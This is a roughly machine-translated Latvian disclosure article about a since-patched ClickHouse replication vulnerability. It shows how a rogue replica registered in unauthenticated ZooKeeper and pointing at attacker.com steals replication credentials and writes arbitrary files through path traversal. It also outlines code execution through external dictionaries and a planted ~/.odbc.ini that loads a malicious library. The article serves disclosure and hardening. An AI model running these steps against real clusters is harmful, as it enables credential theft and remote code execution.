Kāpēc zoodārza būri ir jātur aizvērti?

Kāpēc zoodārza būri ir jātur aizvērti?

Šis raksts pastāstīs par ļoti specifisku ClickHouse replikācijas protokola ievainojamību, kā arī parādīs, kā var paplašināt uzbrukuma virsmu.

ClickHouse ir datu bāze lielu datu apjomu glabāšanai, visbiežāk izmantojot vairāk nekā vienu reprodukciju. Klasterizācija un replikācija pakalpojumā ClickHouse ir izveidota uz augšu Apache ZooKeeper (ZK) un pieprasīt rakstīšanas tiesības.

Noklusējuma ZK instalācijai nav nepieciešama autentifikācija, tāpēc tūkstošiem ZK serveru, kas tiek izmantoti Kafka, Hadoop, ClickHouse konfigurēšanai, ir publiski pieejami.

Lai samazinātu uzbrukuma līmeni, instalējot ZooKeeper, vienmēr jākonfigurē autentifikācija un autorizācija

Protams, ir dažas uz 0 dienām balstītas Java deserializācijas, taču iedomājieties, ka uzbrucējs varētu lasīt un rakstīt ZooKeeper, ko izmanto ClickHouse replikācijai.

Ja tas ir konfigurēts klastera režīmā, ClickHouse atbalsta izplatītos vaicājumus DDL, kas iet caur ZK - tiem lapā tiek izveidoti mezgli /clickhouse/task_queue/ddl.

Piemēram, jūs izveidojat mezglu /clickhouse/task_queue/ddl/query-0001 ar saturu:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

un pēc tam testa tabula tiks dzēsta klastera serveros host1 un host2. DDL atbalsta arī CREATE/ALTER/DROP vaicājumu izpildi.

Izklausās biedējoši? Bet kur uzbrucējs var iegūt servera adreses?

ClickHouse replikācija darbojas atsevišķu tabulu līmenī, lai, veidojot tabulu ZK, tiktu norādīts serveris, kas būs atbildīgs par metadatu apmaiņu ar replikām. Piemēram, izpildot pieprasījumu (jākonfigurē ZK, chXX - kopijas nosaukums, foobar - tabulas nosaukums):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

tiks izveidoti mezgli kolonnas и metadati.

Saturs /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Vai ir iespējams apvienot datus no šī klastera? Jā, ja replikācijas ports (TCP/9009) serverī chXX-address ugunsmūris netiks aizvērts un autentifikācija replikācijai netiks konfigurēta. Kā apiet autentifikāciju?

Uzbrucējs var izveidot jaunu kopiju ZK, vienkārši kopējot saturu no /clickhouse/tables/01-01/foobar/replicas/chXX un mainot nozīmi host.

Saturs /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Pēc tam jums jāpaziņo citām replikām, ka uzbrucēja serverī ir jauns datu bloks, kas viņiem ir jāuzņem - ZK tiek izveidots mezgls. /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monotoni augošs skaitītājs, kam jābūt lielākam par pēdējo notikumu žurnālā):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

kur avota_reprodukcija — iepriekšējā darbībā izveidotās uzbrucēja kopijas nosaukums, block_id — datu bloka identifikators, saņemt - komanda "get block" (un šeit ir komandas citām darbībām).

Pēc tam katra replika nolasa jaunu notikumu žurnālā un pāriet uz serveri, ko kontrolē uzbrucējs, lai saņemtu datu bloku (replikācijas protokols ir binārs, darbojas virs HTTP). Serveris attacker.com saņems pieprasījumus:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

kur XXX ir replikācijas autentifikācijas dati. Dažos gadījumos tas var būt konts ar piekļuvi datubāzei, izmantojot galveno ClickHouse protokolu un HTTP protokolu. Kā redzējāt, uzbrukuma virsma kļūst kritiski liela, jo replicēšanai izmantotais ZooKeeper palika bez konfigurētas autentifikācijas.

Apskatīsim funkciju iegūt datu bloku no replikas, tas ir rakstīts ar pilnu pārliecību, ka visas kopijas tiek pienācīgi kontrolētas un starp tām ir uzticēšanās.

Kāpēc zoodārza būri ir jātur aizvērti?
replikācijas apstrādes kods

Funkcija nolasa failu sarakstu, pēc tam to nosaukumus, izmērus, saturu un pēc tam ieraksta tos failu sistēmā. Ir vērts atsevišķi aprakstīt, kā dati tiek glabāti failu sistēmā.

Ir vairāki apakšdirektoriji /var/lib/clickhouse (noklusējuma krātuves direktorijs no konfigurācijas faila):

karogi - ierakstīšanas direktorijs karogi, izmanto atkopšanā pēc datu zaudēšanas;
tmp — direktorijs pagaidu failu glabāšanai;
user_files — operācijas ar failiem pieprasījumos ir ierobežotas ar šo direktoriju (INTO OUTFILE un citi);
metadati — sql faili ar tabulu aprakstiem;
preprocessed_configs - apstrādāti atvasinātie konfigurācijas faili no /etc/clickhouse-server;
dati - faktiskais direktorijs ar pašiem datiem, šajā gadījumā katrai datubāzei šeit vienkārši tiek izveidots atsevišķs apakšdirektorijs (piemēram, /var/lib/clickhouse/data/default).

Katrai tabulai datu bāzes direktorijā tiek izveidots apakšdirektorijs. Katra kolonna ir atsevišķs fails atkarībā no dzinēja formāts. Piemēram, galdam foobarizveidojis uzbrucējs, tiks izveidoti šādi faili:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Reprodukcija paredz saņemt failus ar vienādiem nosaukumiem, apstrādājot datu bloku, un nekādā veidā tos nepārbauda.

Uzmanīgais lasītājs, iespējams, jau ir dzirdējis par nedrošo faila_nosaukuma savienošanu funkcijā WriteBufferFromFile. Jā, tas ļauj uzbrucējam rakstīt patvaļīgu saturu jebkurā FS failā ar lietotāja tiesībām clickhouse. Lai to izdarītu, uzbrucēja kontrolētajai kopijai uz pieprasījumu ir jāatgriež šāda atbilde (vieglākai izpratnei ir pievienoti rindiņas pārtraukumi):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

un pēc savienošanas ../../../../../../../../../tmp/pwned fails tiks uzrakstīts /tmp/pwned ar saturu sveiks no zoodārza.

Ir vairākas iespējas, kā pārvērst failu rakstīšanas iespējas attālinātā koda izpildē (RCE).

Ārējās vārdnīcas RCE

Vecākajās versijās direktorijs ar ClickHouse iestatījumiem tika saglabāts ar lietotāja tiesībām Clickhouse по-умолчанию. Файлы настроек представляют собой файлы XML, которые сервис читает при запуске, а затем кэширует в /var/lib/clickhouse/preprocessed_configs. Kad notiek izmaiņas, tās tiek lasītas atkārtoti. Ja jums ir piekļuve /etc/clickhouse-server uzbrucējs var izveidot savu ārējā vārdnīca izpildāmā tipa un pēc tam izpildiet patvaļīgu kodu. Pašreizējās ClickHouse versijas pēc noklusējuma nenodrošina tiesības, taču, ja serveris tiktu pakāpeniski atjaunināts, šādas tiesības varētu palikt. Ja atbalstāt ClickHouse klasteru, pārbaudiet tiesības uz iestatījumu direktoriju, tam ir jāpieder lietotājam root.

ODBC uz RCE

Instalējot pakotni, tiek izveidots lietotājs clickhouse, bet tā mājas direktorijs nav izveidots /nonexistent. Tomēr, izmantojot ārējās vārdnīcas vai citu iemeslu dēļ, administratori izveido direktoriju /nonexistent un dodiet lietotājam clickhouse piekļuve tam rakstīt (SSZB! apm. tulkotājs).

ClickHouse atbalsta ODBC un var izveidot savienojumu ar citām datu bāzēm. Izmantojot ODBC, varat norādīt ceļu uz datu bāzes draivera bibliotēku (.so). Vecākās ClickHouse versijas ļāva to izdarīt tieši pieprasījumu apstrādātājā, taču tagad ir pievienota stingrāka savienojuma virknes pārbaude. odbc-bridge, tāpēc no pieprasījuma vairs nav iespējams norādīt draivera ceļu. Bet vai uzbrucējs var rakstīt mājas direktorijā, izmantojot iepriekš aprakstīto ievainojamību?

Izveidosim failu ~/.odbc.ini ar šādu saturu:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

pēc tam palaišanas laikā SELECT * FROM odbc('DSN=lalala', 'test', 'test'); bibliotēka tiks ielādēta test.so un saņēma RCE (paldies buglloc par dzeramnaudu).

Šīs un citas ievainojamības ir novērstas ClickHouse versijā 19.14.3. Parūpējies par saviem ClickHouse un ZooKeepers!

Avots: www.habr.com

Pievieno komentāru